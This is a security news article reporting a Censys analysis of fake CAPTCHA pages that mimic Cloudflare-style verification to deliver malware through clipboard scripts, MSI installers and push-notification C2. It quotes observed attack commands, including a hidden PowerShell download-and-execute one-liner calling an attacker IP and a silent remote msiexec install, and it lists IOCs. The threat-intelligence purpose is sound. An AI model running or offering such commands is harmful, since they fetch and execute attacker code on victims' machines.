A Fake CAPTCHA ecosystem that mimics trusted web verification pages to deliver malware.
Far from a single campaign, this threat uses visually identical lures often copying Cloudflare-style challenges to mask diverse delivery methods.
By abusing familiar browser workflows, attackers bypass defenses without compromising services directly.
The analysis, based on 9,494 tracked assets, reveals how perceptual hashing (pHash) clusters 70% into one dominant visual group, yet execution varies wildly: from clipboard scripts to fileless push notifications.
This “Living Off the Web” tactic decouples the trust-gaining interface from payloads, making traditional detection unreliable.
Users see a standard “browser verification” page, but behind it lie incompatible models like VBScript downloaders, MSI installers, and Matrix Push C2 frameworks.
No single malware family ties it together it’s a reusable layer for any operator.
Key Findings and Delivery Techniques
Censys rendered pages via Playwright in a sandbox, capturing screenshots for pHash clustering with a Hamming distance threshold of 6.
Cluster 0 dominates with 6,686 assets (70%), featuring site-specific favicons for legitimacy. Yet, among 5,441 analyzable ones, 32 payload variants emerged across silos:
- Clipboard-Driven Execution (dominant in 3,227 assets): VBScript loaders (1,706) fetch remote scripts, e.g.,
powershell.exe -w hidden -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://95[.]164.53.115:5506/a.ps1')". PowerShell DownloadFile (1,269) usesNet.WebClient.DownloadFile, often with obfuscation like string concatenation. Rare BAT or MSHTA variants appear too. - MSI Installer Delivery (1,212 assets): Bypasses scripts via
msiexec /i http://compromised-domain[.]com/verification/check.msi /quiet. Payloads hide in “human verification” paths on hijacked sites. - Matrix Push C2 (1,281 assets): Fileless handoff prompts Chrome notification permissions via Notifications.js. No clipboard artifact; server at matrix.cymru pushes later. Admin panels expose templates for Cloudflare-like lures, redirecting post-“Allow.”
Infrastructure silos confirm fragmentation: VBScript ties to 95[.]164.53.115:5506 and 78[.]40.209.164:5506; PowerShell to ghost.nestdns[.]com; MSI to varied compromised domains. No cross-model overlap signals independent operators reusing the interface.
IOCs and Defender Recommendations
| Category | IOC Examples |
|---|---|
| C2 Servers | 95.164.53.115:5506, 78.40.209.164:5506, matrix.cymru |
| Domains | ghost.nestdns.com, penguinpublishers.org |
| Payload URLs | http://95[.]164.53.115:5506/a.ps1, http://compromised-domain[.]com/verification/check.msi |
| Scripts | Notifications.js (Matrix integration), VBS/PowerShell clipboard commands with “-ep bypass” |
| Behaviors | pHash clusters mimicking Cloudflare; notification prompts post-verification; MSIEXEC calls |
Defenders must shift beyond clipboard scans (misses 14.4% of Cluster 0). Monitor verification lures outside context, notification grants after security pages, and Sankey-linked execution flows.
Visual similarity fools attribution cluster by infra and behavior instead. Censys now auto-screenshots Fake CAPTCHA for persistent tracking.
This ecosystem thrives on conditioned trust in web UX. As scripting defenses harden, expect more fileless pivots.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
